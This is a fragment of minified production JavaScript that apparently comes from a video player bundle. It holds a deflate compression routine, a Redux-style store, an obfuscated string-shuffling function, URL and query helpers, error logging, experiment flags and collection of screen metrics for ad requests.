x.head[x.kx],x.head[x.kx]=x.Dp);while(--x.aJ!==0);x.Xc=0;x.Oi=2;x.Dp++;if(t&&(Ii(x,!1),x.SD.z3===0))return 1}else if(x.Xc){if((t=oi(x,0,x.window[x.Dp-1]))&&Ii(x,!1),x.Dp++,x.iN--,x.SD.z3===0)return 1}else x.Xc=1,x.Dp++,x.iN--}x.Xc&&(oi(x,0,x.window[x.Dp-1]),x.Xc=0);x.pK=x.Dp<2?x.Dp:2;return T===4?(Ii(x,!0),x.SD.z3===0?3:4):x.Ww&&(Ii(x,!1),x.SD.z3===0)?1:2};
eI4=function(x,T){for(var t,u,H,I=x.window;;){if(x.iN<=258){eJ(x);if(x.iN<=258&&T===0)return 1;if(x.iN===0)break}x.Oi=0;if(x.iN>=3&&x.Dp>0&&(u=x.Dp-1,t=I[u],t===I[++u]&&t===I[++u]&&t===I[++u])){for(H=x.Dp+258;t===I[++u]&&t===I[++u]&&t===I[++u]&&t===I[++u]&&t===I[++u]&&t===I[++u]&&t===I[++u]&&t===I[++u]&&u<H;);x.Oi=258-(H-u);x.Oi>x.iN&&(x.Oi=x.iN)}x.Oi>=3?(t=oi(x,1,x.Oi-3),x.iN-=x.Oi,x.Dp+=x.Oi,x.Oi=0):(t=oi(x,0,x.window[x.Dp]),x.iN--,x.Dp++);if(t&&(Ii(x,!1),x.SD.z3===0))return 1}x.pK=0;return T===
4?(Ii(x,!0),x.SD.z3===0?3:4):x.Ww&&(Ii(x,!1),x.SD.z3===0)?1:2};
lK5=function(x,T){for(var t;;){if(x.iN===0&&(eJ(x),x.iN===0)){if(T===0)return 1;break}x.Oi=0;t=oi(x,0,x.window[x.Dp]);x.iN--;x.Dp++;if(t&&(Ii(x,!1),x.SD.z3===0))return 1}x.pK=0;return T===4?(Ii(x,!0),x.SD.z3===0?3:4):x.Ww&&(Ii(x,!1),x.SD.z3===0)?1:2};
dF=function(x,T,t,u,H){this.W4=x;this.lpc=T;this.qej=t;this.HzQ=u;this.func=H};
mzi=function(){this.SD=null;this.status=0;this.nC=null;this.wrap=this.pending=this.f5=this.EC=0;this.Dn=null;this.Ct=0;this.method=8;this.Ij=-1;this.FZ=this.gx=this.yY=0;this.window=null;this.V2=0;this.head=this.xn=null;this.b1=this.Cn=this.strategy=this.level=this.wB=this.qE=this.aJ=this.iN=this.FO=this.Dp=this.Xc=this.Q$=this.Oi=this.h7=this.IY=this.yJ=this.eL=this.Ra=this.kx=0;this.OU=new W$.mw(1146);this.mE=new W$.mw(122);this.bl=new W$.mw(78);uA(this.OU);uA(this.mE);uA(this.bl);this.u9=this.hV=
this.vj=null;this.bR=new W$.mw(16);this.Nf=new W$.mw(573);uA(this.Nf);this.Vr=this.QJ=0;this.depth=new W$.mw(573);uA(this.depth);this.Rm=this.r_=this.pK=this.matches=this.t2=this.pN=this.Ea=this.Ww=this.pO=this.M3=0};
dzf=function(x,T){if(!x||!x.state||T>5||T<0)return x?si(x,-2):-2;var t=x.state;if(!x.output||!x.input&&x.hI!==0||t.status===666&&T!==4)return si(x,x.z3===0?-5:-2);t.SD=x;var u=t.Ij;t.Ij=T;if(t.status===42)if(t.wrap===2)x.n4=0,Ei(t,31),Ei(t,139),Ei(t,8),t.Dn?(Ei(t,(t.Dn.text?1:0)+(t.Dn.Od?2:0)+(t.Dn.extra?4:0)+(t.Dn.name?8:0)+(t.Dn.comment?16:0)),Ei(t,t.Dn.time&255),Ei(t,t.Dn.time>>8&255),Ei(t,t.Dn.time>>16&255),Ei(t,t.Dn.time>>24&255),Ei(t,t.level===9?2:t.strategy>=2||t.level<2?4:0),Ei(t,t.Dn.os&
255),t.Dn.extra&&t.Dn.extra.length&&(Ei(t,t.Dn.extra.length&255),Ei(t,t.Dn.extra.length>>8&255)),t.Dn.Od&&(x.n4=jJ(x.n4,t.nC,t.pending,0)),t.Ct=0,t.status=69):(Ei(t,0),Ei(t,0),Ei(t,0),Ei(t,0),Ei(t,0),Ei(t,t.level===9?2:t.strategy>=2||t.level<2?4:0),Ei(t,3),t.status=113);else{var H=8+(t.gx-8<<4)<<8;H|=(t.strategy>=2||t.level<2?0:t.level<6?1:t.level===6?2:3)<<6;t.Dp!==0&&(H|=32);t.status=113;qx(t,H+(31-H%31));t.Dp!==0&&(qx(t,x.n4>>>16),qx(t,x.n4&65535));x.n4=1}if(t.status===69)if(t.Dn.extra){for(H=
t.pending;t.Ct<(t.Dn.extra.length&65535)&&(t.pending!==t.EC||(t.Dn.Od&&t.pending>H&&(x.n4=jJ(x.n4,t.nC,t.pending-H,H)),$T(x),H=t.pending,t.pending!==t.EC));)Ei(t,t.Dn.extra[t.Ct]&255),t.Ct++;t.Dn.Od&&t.pending>H&&(x.n4=jJ(x.n4,t.nC,t.pending-H,H));t.Ct===t.Dn.extra.length&&(t.Ct=0,t.status=73)}else t.status=73;if(t.status===73)if(t.Dn.name){H=t.pending;do{if(t.pending===t.EC&&(t.Dn.Od&&t.pending>H&&(x.n4=jJ(x.n4,t.nC,t.pending-H,H)),$T(x),H=t.pending,t.pending===t.EC)){var I=1;break}I=t.Ct<t.Dn.name.length?
t.Dn.name.charCodeAt(t.Ct++)&255:0;Ei(t,I)}while(I!==0);t.Dn.Od&&t.pending>H&&(x.n4=jJ(x.n4,t.nC,t.pending-H,H));I===0&&(t.Ct=0,t.status=91)}else t.status=91;if(t.status===91)if(t.Dn.comment){H=t.pending;do{if(t.pending===t.EC&&(t.Dn.Od&&t.pending>H&&(x.n4=jJ(x.n4,t.nC,t.pending-H,H)),$T(x),H=t.pending,t.pending===t.EC)){I=1;break}I=t.Ct<t.Dn.comment.length?t.Dn.comment.charCodeAt(t.Ct++)&255:0;Ei(t,I)}while(I!==0);t.Dn.Od&&t.pending>H&&(x.n4=jJ(x.n4,t.nC,t.pending-H,H));I===0&&(t.status=103)}else t.status=
103;t.status===103&&(t.Dn.Od?(t.pending+2>t.EC&&$T(x),t.pending+2<=t.EC&&(Ei(t,x.n4&255),Ei(t,x.n4>>8&255),x.n4=0,t.status=113)):t.status=113);if(t.pending!==0){if($T(x),x.z3===0)return t.Ij=-1,0}else if(x.hI===0&&(T<<1)-(T>4?9:0)<=(u<<1)-(u>4?9:0)&&T!==4)return si(x,-5);if(t.status===666&&x.hI!==0)return si(x,-5);if(x.hI!==0||t.iN!==0||T!==0&&t.status!==666){u=t.strategy===2?lK5(t,T):t.strategy===3?eI4(t,T):Mx[t.level].func(t,T);if(u===3||u===4)t.status=666;if(u===1||u===3)return x.z3===0&&(t.Ij=
-1),0;if(u===2&&(T===1?(Ce(t,2,3),QO(t,256,H9),t.Rm===16?(Jw(t,t.r_),t.r_=0,t.Rm=0):t.Rm>=8&&(t.nC[t.pending++]=t.r_&255,t.r_>>=8,t.Rm-=8)):T!==5&&(Ce(t,0,3),$zq(t,0,0),T===3&&(uA(t.head),t.iN===0&&(t.Dp=0,t.h7=0,t.pK=0))),$T(x),x.z3===0))return t.Ij=-1,0}if(T!==4)return 0;if(t.wrap<=0)return 1;t.wrap===2?(Ei(t,x.n4&255),Ei(t,x.n4>>8&255),Ei(t,x.n4>>16&255),Ei(t,x.n4>>24&255),Ei(t,x.Ll&255),Ei(t,x.Ll>>8&255),Ei(t,x.Ll>>16&255),Ei(t,x.Ll>>24&255)):(qx(t,x.n4>>>16),qx(t,x.n4&65535));$T(x);t.wrap>0&&
(t.wrap=-t.wrap);return t.pending!==0?0:1};
AT=function(x){if(!(this instanceof AT))return new AT(x);x=this.options=W$.assign({level:-1,method:8,chunkSize:16384,Nv:15,TaG:8,strategy:0,n$:""},x||{});x.raw&&x.Nv>0?x.Nv=-x.Nv:x.XI&&x.Nv>0&&x.Nv<16&&(x.Nv+=16);this.err=0;this.msg="";this.ended=!1;this.chunks=[];this.SD=new M5f;this.SD.z3=0;var T=this.SD;var t=x.level,u=x.method,H=x.Nv,I=x.TaG,E=x.strategy;if(T){var Z=1;t===-1&&(t=6);H<0?(Z=0,H=-H):H>15&&(Z=2,H-=16);if(I<1||I>9||u!==8||H<8||H>15||t<0||t>9||E<0||E>4)T=si(T,-2);else{H===8&&(H=9);
var e=new mzi;T.state=e;e.SD=T;e.wrap=Z;e.Dn=null;e.gx=H;e.yY=1<<e.gx;e.FZ=e.yY-1;e.eL=I+7;e.Ra=1<<e.eL;e.yJ=e.Ra-1;e.IY=~~((e.eL+3-1)/3);e.window=new W$.Qa(e.yY*2);e.head=new W$.mw(e.Ra);e.xn=new W$.mw(e.yY);e.pO=1<<I+6;e.EC=e.pO*4;e.nC=new W$.Qa(e.EC);e.Ea=1*e.pO;e.M3=3*e.pO;e.level=t;e.strategy=E;e.method=u;if(T&&T.state){T.Ll=T.K3=0;T.HL=2;t=T.state;t.pending=0;t.f5=0;t.wrap<0&&(t.wrap=-t.wrap);t.status=t.wrap?42:113;T.n4=t.wrap===2?0:1;t.Ij=0;if(!ApJ){u=Array(16);for(I=E=0;I<28;I++)for(wY[I]=
E,H=0;H<1<<fe[I];H++)OR[E++]=I;OR[E-1]=I;for(I=E=0;I<16;I++)for(xT[I]=E,H=0;H<1<<Xz[I];H++)Ke[E++]=I;for(E>>=7;I<30;I++)for(xT[I]=E<<7,H=0;H<1<<Xz[I]-7;H++)Ke[256+E++]=I;for(H=0;H<=15;H++)u[H]=0;for(H=0;H<=143;)H9[H*2+1]=8,H++,u[8]++;for(;H<=255;)H9[H*2+1]=9,H++,u[9]++;for(;H<=279;)H9[H*2+1]=7,H++,u[7]++;for(;H<=287;)H9[H*2+1]=8,H++,u[8]++;t5f(H9,287,u);for(H=0;H<30;H++)iA[H*2+1]=5,iA[H*2]=oJm(H,5);RIv=new yO(H9,fe,257,286,15);PIV=new yO(iA,Xz,0,30,15);SSD=new yO([],cp4,0,19,7);ApJ=!0}t.vj=new NB(t.OU,
RIv);t.hV=new NB(t.mE,PIV);t.u9=new NB(t.bl,SSD);t.r_=0;t.Rm=0;sm3(t);t=0}else t=si(T,-2);t===0&&(T=T.state,T.V2=2*T.yY,uA(T.head),T.wB=Mx[T.level].lpc,T.Cn=Mx[T.level].W4,T.b1=Mx[T.level].qej,T.qE=Mx[T.level].HzQ,T.Dp=0,T.h7=0,T.iN=0,T.pK=0,T.Oi=T.aJ=2,T.Xc=0,T.kx=0);T=t}}else T=-2;if(T!==0)throw Error(tT[T]);x.header&&(T=this.SD)&&T.state&&T.state.wrap===2&&(T.state.Dn=x.header);if(x.kW){var l;typeof x.kW==="string"?l=TT5(x.kW):YSi.call(x.kW)==="[object ArrayBuffer]"?l=new Uint8Array(x.kW):l=x.kW;
x=this.SD;I=l;E=I.length;if(x&&x.state)if(l=x.state,T=l.wrap,T===2||T===1&&l.status!==42||l.iN)T=-2;else{T===1&&(x.n4=ZQ(x.n4,I,E,0));l.wrap=0;E>=l.yY&&(T===0&&(uA(l.head),l.Dp=0,l.h7=0,l.pK=0),t=new W$.Qa(l.yY),W$.Ju(t,I,E-l.yY,l.yY,0),I=t,E=l.yY);t=x.hI;u=x.Zt;H=x.input;x.hI=E;x.Zt=0;x.input=I;for(eJ(l);l.iN>=3;){I=l.Dp;E=l.iN-2;do l.kx=(l.kx<<l.IY^l.window[I+3-1])&l.yJ,l.xn[I&l.FZ]=l.head[l.kx],l.head[l.kx]=I,I++;while(--E);l.Dp=I;l.iN=2;eJ(l)}l.Dp+=l.iN;l.h7=l.Dp;l.pK=l.iN;l.iN=0;l.Oi=l.aJ=2;
l.Xc=0;x.Zt=u;x.input=H;x.hI=t;l.wrap=T;T=0}else T=-2;if(T!==0)throw Error(tT[T]);this.zkY=!0}};
Uz3=function(x,T){T=T||{};T.XI=!0;T=new AT(T);T.push(x,!0);if(T.err)throw T.msg||tT[T.err];return T.result};
b54=function(){var x=g.FD.apply(0,arguments);return x.length===0?function(T){return T}:x.length===1?x[0]:x.reduce(function(T,t){return function(){return T(t.apply(null,g.U(g.FD.apply(0,arguments))))}})};
rp4=function(){var x=g.FD.apply(0,arguments);return function(T){return function(t,u){function H(){throw Error("Dispatching while constructing your middleware is not allowed. Other middleware would not be applied to this dispatch.");}
t=T(t,u);var I={getState:t.getState,dispatch:function(E){return H.apply(null,[E].concat(g.U(g.FD.apply(1,arguments))))}};
u=x.map(function(E){return E(I)});
H=b54.apply(null,g.U(u))(t.dispatch);return Object.assign({},t,{dispatch:H})}}};
Ri=function(){return Math.random().toString(36).substring(7).split("").join(".")};
zIf=function(x){Object.keys(x).forEach(function(T){var t=x[T];if(typeof t(void 0,{type:P9})==="undefined")throw Error('The slice reducer for key "'+T+"\" returned undefined during initialization. If the state passed to the reducer is undefined, you must explicitly return the initial state. The initial state may not be undefined. If you don't want to set a value for this reducer, you can use null instead of undefined.");if(typeof t(void 0,{type:"@@redux/PROBE_UNKNOWN_ACTION"+Ri()})==="undefined")throw Error('The slice reducer for key "'+
T+"\" returned undefined when probed with a random type. Don't try to handle '"+(P9+'\' or other actions in "redux/*" namespace. They are considered private. Instead, you must return the current state for any unknown actions, unless it is undefined, in which case you must return the initial state, regardless of the action type. The initial state may not be undefined, but can be null.'));})};
ksf=function(x,T,t){function u(){if(m)throw Error("You may not call store.getState() while the reducer is executing. The reducer has already received the state as an argument. Pass it down from the top reducer instead of reading it from the store.");return Z}
function H(A){if(typeof A!=="function")throw Error("Expected the listener to be a function. Instead, received: '"+typeof A+"'");if(m)throw Error("You may not call store.subscribe() while the reducer is executing. If you would like to be notified after the store has been updated, subscribe from a component and invoke store.getState() in the callback to access the latest state. See https://redux.js.org/api/store#subscribelistener for more details.");var R=!0;l===e&&(l=e.slice());l.push(A);return function(){if(R){if(m)throw Error("You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api/store#subscribelistener for more details.");
R=!1;l===e&&(l=e.slice());l.splice(l.indexOf(A),1);e=null}}}
function I(A){if(typeof A!=="object"||A===null)var R=!1;else{for(R=A;Object.getPrototypeOf(R)!==null;)R=Object.getPrototypeOf(R);R=Object.getPrototypeOf(A)===R}if(!R)throw Error("Actions must be plain objects. Instead, the actual type was: '"+typeof A+"'. You may need to add middleware to your store setup to handle dispatching other values, such as 'redux-thunk' to handle dispatching functions. See https://redux.js.org/tutorials/fundamentals/part-4-store#middleware and https://redux.js.org/tutorials/fundamentals/part-6-async-logic#using-the-redux-thunk-middleware for examples.");
if(typeof A.type==="undefined")throw Error('Actions may not have an undefined "type" property. You may have misspelled an action type string constant.');if(m)throw Error("Reducers may not dispatch actions.");try{m=!0,Z=E(Z,A)}finally{m=!1}R=e=l;for(var Y=0;Y<R.length;Y++)(0,R[Y])();return A}
if(typeof T==="function"&&typeof t==="function"||typeof t==="function"&&typeof arguments[3]==="function")throw Error("It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function. See https://redux.js.org/tutorials/fundamentals/part-4-store#creating-a-store-with-enhancers for an example.");typeof T==="function"&&typeof t==="undefined"&&(t=T,T=void 0);if(typeof t!=="undefined"){if(typeof t!=="function")throw Error("Expected the enhancer to be a function. Instead, received: '"+
typeof t+"'");return t(ksf)(x,T)}if(typeof x!=="function")throw Error("Expected the root reducer to be a function. Instead, received: '"+typeof x+"'");var E=x,Z=T,e=[],l=e,m=!1;I({type:P9});var d={},M=(d.dispatch=I,d.subscribe=H,d.getState=u,d.replaceReducer=function(A){if(typeof A!=="function")throw Error("Expected the nextReducer to be a function. Instead, received: '"+typeof A);E=A;I({type:FLm});return M},d[hI3]=function(){var A={};
return A.subscribe=function(R){function Y(){R.next&&R.next(u())}
if(typeof R!=="object"||R===null)throw new TypeError("Expected the observer to be an object. Instead, received: '"+typeof R+"'");Y();return{unsubscribe:H(Y)}},A[hI3]=function(){return this},A},d);
return M};
vJV=function(x){return x?(x=x.privateDoNotAccessOrElseSafeScriptWrappedValue)?Sd5(x):null:null};
SJ=function(x){return x?(x=x.privateDoNotAccessOrElseTrustedResourceUrlWrappedValue)?Ub(x):null:null};
Gsm=function(x){x=V5D(x);return Ld(x)};
g.c9=function(x){x=V5D(x);return Ub(x)};
V5D=function(x){return x===null?"null":x===void 0?"undefined":x};
Ui=function(x){this.Ue=Vd(x)};
nJf=function(x){var T=x.split(x.slice(0,0)),t=[1540185164,1124349059,function(u,H){u=(u%H.length+H.length)%H.length;H.splice(-u).reverse().forEach(function(I){H.unshift(I)})},
53753807,-223629055,599004458,1090777788,1443463275,1485508202,function(u,H,I,E,Z){return H(I,E,Z)},
-1418084294,-1964038035,845670024,null,-833343074,-2036401526,-2094859761,230603416,438905691,1560548789,-567160677,function(u,H,I){var E=H.length;u.forEach(function(Z,e,l){this.push(l[e]=H[(H.indexOf(Z)-H.indexOf(this[e])+e+E--)%H.length])},I.split(""))},
function(){for(var u=64,H=[];++u-H.length-32;)switch(u){case 46:u=95;default:H.push(String.fromCharCode(u));case 94:case 95:case 96:break;case 123:u-=76;case 92:case 93:continue;case 58:u=44;case 91:}return H},
-493030413,20316757,836452795,function(u,H){H.splice(H.length,0,u)},
function(u,H){u.length!=0&&(H=(H%u.length+u.length)%u.length,u.splice(0,1,u.splice(H,1,u[0])[0]))},
-1891832534,-622950794,2048296350,1288901908,function(u){for(var H=u.length;H;)u.push(u.splice(--H,1)[0])},
1157986033,T,685661135,-905913523,function(u,H){for(H=(H%u.length+u.length)%u.length;H--;)u.unshift(u.pop())},
181217339,89344708,939147607,1540185164,function(u,H,I,E,Z,e){return H(E,Z,e)},
-672786464,-418562143,353345622,166691679,-1114221596,function(){for(var u=64,H=[];++u-H.length-32;)switch(u){case 58:u=96;continue;case 91:u=44;break;case 65:u=47;continue;case 46:u=153;case 123:u-=58;default:H.push(String.fromCharCode(u))}return H},
-1537352524,-1293811222,'\u22d4[,""',function(u,H,I,E,Z,e,l){return u(Z,e,l)},
"i3SSGc",691530865,1077543956,164944705,1217743762,T,396078470,T,-1580145388,1383326081,1605687792,-405880833,function(){for(var u=64,H=[];++u-H.length-32;){switch(u){case 91:u=44;continue;case 123:u=65;break;case 65:u-=18;continue;case 58:u=96;continue;case 46:u=95}H.push(String.fromCharCode(u))}return H},
1593757033,function(u){u.reverse()},
736559447,1842535773,599004458,function(u,H){u=(u%H.length+H.length)%H.length;H.splice(u,1)},
-2025981642,-1734E4,-1439998355,null,-2009500663,991227643,1694767865,function(u,H){if(H.length!=0){u=(u%H.length+H.length)%H.length;var I=H[0];H[0]=H[u];H[u]=I}},
1106233241,null,-573887346,2073657544,521270866];t[13]=t;t[75]=t;t[81]=t;if(typeof LLq==="undefined")return x;try{try{t[43]!=-8&&(t[47]!==5?(0,t[9])((0,t[2])(t[83],t[58]),t[27],t[75],t[43]):((0,t[71])(t[50],t[60]),t[2])(t[59],t[81])),t[78]>=10&&(t[25]==7?(0,t[37])(t[34],t[54]):(0,t[27])(t[58],t[38])),t[74]!==1&&(t[30]>-7?((0,t[67])(t[75]),t[13])(t[2],t[24]):(0,t[75])((0,t[13])(t[4],t[24]),t[13],t[0],t[24])),t[23]>-6&&((0,t[75])(((0,t[75])(((0,t[42])((0,t[75])((0,t[57])(t[24],t[84]),t[13],t[53],t[24]),
t[13],(0,t[13])(t[8],t[26]),t[70],t[26]),(0,t[63])(t[50],(0,t[36])(),t[31]),t[5])(t[77],t[9]),t[17],t[71]),(0,t[13])(t[67],t[129-Math.pow(5,new Date("1970-01-01T06:00:02.000+06:00")/1E3)-80]),t[52])(t[50]),t[13],t[61],t[50]),1)||(0,t[32])(t[17],((((0,t[new Date("1970-01-01T06:15:13.000+06:15")/1E3])(t[40],t[24]),(0,t[82])(t[64],t[24]),(0,t[63])(t[24],(0,t[36])(),t[31]),t[52])(t[71]),t[71])(t[72],t[34]),t[32])(t[75]),(0,t[75])((0,t[5])(t[27],t[9]),t[13],t[60],t[50]),(0,t[5])(t[45],t[71]),t[3]),t[18]>=
-8&&(t[6]<8&&(((((0,t[9])((0,t[71])(t[33],t[58]),t[37],t[34],t[56]),t[42])((0,t[27])(t[75],t[40]),t[21],(0,t[71])(t[18],t[new Date("1969-12-31T12:46:21.000-11:15")/1E3]),t[34],(0,t[22])(),t[53]),t[71])(t[29],t[58]),t[21])(t[60],(0,t[22])(),t[53]),1)||(0,t[42])(((((0,t[27])(t[81],t[3]),t[37])(t[13],t[61]),t[31])((0,t[48])(t[71],t[12]),t[49],t[56],t[69]),t[59])(t[35],t[52]),t[85],(0,t[85])(t[71],t[83]),t[30],t[69])),t[8]!=9&&(t[53]!==new Date("1969-12-31T17:15:01.000-06:45")/1E3&&(((0,t[85])(t[30],
t[17]),t[9])(t[32],t[47]),"undefined")||(0,t[new Date("1969-12-31T12:16:07.000-11:45")/1E3])((0,t[79])(t[6],(0,t[80])(),t[0]),t[39],t[71])),(t[43]===-5||((0,t[14])((0,t[67])((0,t[44])(t[25],t[6]),t[60],t[59],t[6]),t[52],(0,t[67])((0,t[9])(t[54],t[68]),t[73],t[32],t[5]),t[72],t[39]),""))&&(0,t[68])((0,t[68])((0,t[7])(t[16]),t[63],(0,t[12])(t[18],t[16]),t[39],t[4]),t[47],(0,t[53])(t[16],t[38]),t[60],(0,t[6])(),t[54]),t[23]!=-8&&(t[51]!==-8?((0,t[53])(t[39],t[19]),t[20])(t[32],t[60]):(0,t[35])((0,t[53])(t[22],
t[10]),t[47],t[29],(0,t[6])(),t[54])),(t[83]!=-4||((0,t[35])((0,t[63])(t[16],t[14]),t[47],t[60],(0,t[48])(),t[54]),0))&&((0,t[0])(t[39]),t[27])(t[25]),t[61]>-4&&(0,t[50])((0,t[73])(t[80],t[56]),t[22],t[46],t[74]),t[77]!==-9&&(t[46]>-7?((0,t[9])(t[66]),t[60])((0,t[48])(t[35],(0,t[21])(),t[41]),t[75],t[65],t[35]):(0,t[42])(t[73],t[70])<=((0,t[32])(t[66],t[45]),t[9])(t[66])),t[36]!=-1&&((0,t[75])(t[33],t[35]),[])||(0,t[32])(t[73],t[69])}catch(u){(0,t[60])((0,t[60])((0,t[48])(t[11],(0,t[21])(),t[41]),
t[83],t[6],t[11]),t[37],t[73]),(0,t[37])(t[79]),(0,t[67])(t[61],t[new Date("1969-12-31T20:16:06.000-03:45")/1E3]),(0,t[60])((0,t[83])(t[53],t[11]),t[48],t[66],(0,t[47])(),t[41]),(0,t[48])(t[11],(0,t[3])(),t[41]),(0,t[83])(t[54],t[11]),(0,t[60])((0,t[48])(t[35],(0,t[3])(),t[41])/(0,t[83])(t[34],t[new Date("1969-12-31T20:30:35.000-03:30")/1E3]),t[67],t[50],t[56])}}catch(u){return"T3SEQI1K49QsJ0Bz-L-_w8_"+x}return T.join("")};
aKm=function(x){return x,"invideo-overlay"[1+!!x]};
g.bA=function(x){this.name=x};
gJC=function(x){this.Ue=Vd(x)};
rF=function(x){this.Ue=Vd(x)};
z3=function(x){this.Ue=Vd(x)};
BT4=function(x){this.Ue=Vd(x)};
kT=function(x){this.Ue=Vd(x)};
FE=function(x){this.Ue=Vd(x)};
hT=function(x){this.Ue=Vd(x)};
v9=function(x){this.Ue=Vd(x)};
V0=function(x){this.Ue=Vd(x)};
G3=function(x){this.Ue=Vd(x)};
Lr=function(x){this.Ue=Vd(x)};
nr=function(x){this.Ue=Vd(x)};
ai=function(x){this.Ue=Vd(x)};
gF=function(x){this.Ue=Vd(x)};
B9=function(x){this.Ue=Vd(x)};
y0=function(x){this.Ue=Vd(x,500)};
Nx=function(x){this.Ue=Vd(x)};
JT=function(x){this.Ue=Vd(x)};
WL5=function(x){this.Ue=Vd(x)};
DzC=function(){return g.yJ("yt.ads.biscotti.lastId_")||""};
ypi=function(x){g.DC("yt.ads.biscotti.lastId_",x)};
Q0=function(){var x=arguments,T=Cr;x.length>1?T[x[0]]=x[1]:x.length===1&&Object.assign(T,x[0])};
g.pr=function(x,T){return x in Cr?Cr[x]:T};
Oi=function(x){var T=Cr.EXPERIMENT_FLAGS;return T?T[x]:void 0};
NT4=function(x){fr.forEach(function(T){return T(x)})};
g.Kr=function(x){return x&&window.yterr?function(){try{return x.apply(this,arguments)}catch(T){g.wF(T)}}:x};
g.wF=function(x){var T=g.yJ("yt.logging.errors.log");T?T(x,"ERROR",void 0,void 0,void 0,void 0,void 0):(T=g.pr("ERRORS",[]),T.push([x,"ERROR",void 0,void 0,void 0,void 0,void 0]),Q0("ERRORS",T));NT4(x)};
XE=function(x,T,t,u,H){var I=g.yJ("yt.logging.errors.log");I?I(x,"WARNING",T,t,u,void 0,H):(I=g.pr("ERRORS",[]),I.push([x,"WARNING",T,t,u,void 0,H]),Q0("ERRORS",I))};
xD=function(x,T){T=x.split(T);for(var t={},u=0,H=T.length;u<H;u++){var I=T[u].split("=");if(I.length===1&&I[0]||I.length===2)try{var E=Jpm(I[0]||""),Z=Jpm(I[1]||"");if(E in t){var e=t[E];Array.isArray(e)?g.sy(e,Z):t[E]=[e,Z]}else t[E]=Z}catch(M){var l=M,m=I[0],d=String(xD);l.args=[{key:m,value:I[1],query:x,method:CIX===d?"unchanged":d}];Qmv.hasOwnProperty(m)||XE(l)}}return t};
T9=function(x){var T=[];g.Mg(x,function(t,u){var H=g.Ob(u);g.lg(Array.isArray(t)?t:[t],function(I){I==""?T.push(H):T.push(H+"="+g.Ob(I))})});
return T.join("&")};
o6=function(x){x.charAt(0)==="?"&&(x=x.substring(1));return xD(x,"&")};
tg=function(x){return x.split(",").map(function(T){return o6(T)})};
g.sr=function(x){return x.indexOf("?")!==-1?(x=(x||"").split("#")[0],x=x.split("?",2),o6(x.length>1?x[1]:x[0])):{}};
uP=function(x,T){return pYX(x,T||{},!0)};
$D=function(x,T){return pYX(x,T||{},!1)};
pYX=function(x,T,t){var u=x.split("#",2);x=u[0];u=u.length>1?"#"+u[1]:"";var H=x.split("?",2);x=H[0];H=o6(H[1]||"");for(var I in T)if(t||!g.UA(H,I))H[I]=T[I];return g.NY(x,H)+u};
Hi=function(x){if(!T)var T=window.location.href;var t=g.Lq(1,x),u=g.nq(x);t&&u?(x=x.match(Gl),T=T.match(Gl),x=x[3]==T[3]&&x[1]==T[1]&&x[4]==T[4]):x=u?g.nq(T)===u&&(Number(g.Lq(4,T))||null)===(Number(g.Lq(4,x))||null):!0;return x};
iP=function(x){x||(x=document.location.href);x=g.Lq(1,x);return x!==null&&x==="https"};
I6=function(x){x=O54(x);return x===null?!1:x[0]==="com"&&x[1].match(/^youtube(?:kids|-nocookie)?$/)?!0:!1};
fKf=function(x){x=O54(x);return x===null?!1:x[1]==="google"?!0:x[2]==="google"?x[0]==="au"&&x[1]==="com"?!0:x[0]==="uk"&&x[1]==="co"?!0:!1:!1};
O54=function(x){x=g.nq(x);return x!==null?x.split(".").reverse():null};
Jpm=function(x){return x&&x.match(wYX)?x:fd(x)};
Z2=function(x){var T=Er;x=x===void 0?DzC():x;var t=Object,u=t.assign,H=q2(T);var I=T.C;try{var E=I.screenX;var Z=I.screenY}catch(z){}try{var e=I.outerWidth;var l=I.outerHeight}catch(z){}try{var m=I.innerWidth;var d=I.innerHeight}catch(z){}try{var M=I.screenLeft;var A=I.screenTop}catch(z){}try{m=I.innerWidth,d=I.innerHeight}catch(z){}try{var R=I.screen.availWidth;var Y=I.screen.availTop}catch(z){}I=[M,A,E,Z,R,Y,e,l,m,d];E=mqq(!1,T.C.top);Z={};var b=b===void 0?g.BX:b;e=new yw;"SVGElement"in b&&"createElementNS"in
b.document&&e.set(0);l=kli();l["allow-top-navigation-by-user-activation"]&&e.set(1);l["allow-popups-to-escape-sandbox"]&&e.set(2);b.crypto&&b.crypto.subtle&&e.set(3);"TextDecoder"in b&&"TextEncoder"in b&&e.set(4);b=bEC(e);T=(Z.bc=b,Z.bih=E.height,Z.biw=E.width,Z.brdim=I.join(),Z.vis=Mj(T.Z),Z.wgl=!!lO.WebGLRenderingContext,Z);t=u.call(t,H,T);t.ca_type="image";x&&(t.bid=x);return t};
q2=function(x){var T={};T.dt=KLX;T.flash="0";a:{try{var t=x.C.top.location.href}catch(m){x=2;break a}x=t?t===x.Z.location.href?0:1:2}T=(T.frm=x,T);try{T.u_tz=-(new Date).getTimezoneOffset();var u=u===void 0?lO:u;try{var H=u.history.length}catch(m){H=0}T.u_his=H;var I;T.u_h=(I=lO.screen)==null?void 0:I.height;var E;T.u_w=(E=lO.screen)==null?void 0:E.width;var Z;T.u_ah=(Z=lO.screen)==null?void 0:Z.availHeight;var e;T.u_aw=(e=lO.screen)==null?void 0:e.availWidth;var l;T.u_cd=(l=lO.screen)==null?void 0:
l.colorDepth}catch(m){}return T};
xVf=function(){if(!XYD)return null;var x=XYD();return"open"in x?x:null};
g.eF=function(x){switch(jF(x)){case 200:case 201:case 202:case 203:case 204:case 205:case 206:case 304:return!0;default:return!1}};
jF=function(x){return x&&"status"in x?x.status:-1};
g.lP=function(x,T){typeof x==="function"&&(x=g.Kr(x));return window.setTimeout(x,T)};
g.mF=function(x,T){typeof x==="function"&&(x=g.Kr(x));return window.setInterval(x,T)};
g.d2=function(x){window.clearTimeout(x)};
g.M2=function(x){window.clearInterval(x)};
g.R6=function(x){x=Ag(x);return typeof x==="string"&&x==="false"?!1:!!x};
g.Pi=function(x,T){x=Ag(x);return x===void 0&&T!==void 0?T:Number(x||0)};
SF=function(){return g.pr("EXPERIMENTS_TOKEN","")};
Ag=function(x){return g.pr("EXPERIMENT_FLAGS",{})[x]};
ci=function(){for(var x=[],T=g.pr("EXPERIMENTS_FORCED_FLAGS",{}),t=g.S(Object.keys(T)),u=t.next();!u.done;u=t.next())u=u.value,x.push({key:u,value:String(T[u])});t=g.pr("EXPERIMENT_FLAGS",{});u=g.S(Object.keys(t));for(var H=u.next();!H.done;H=u.next())H=H.value,H.startsWith("force_")&&T[H]===void 0&&x.push({key:H,value:String(t[H])});return x};
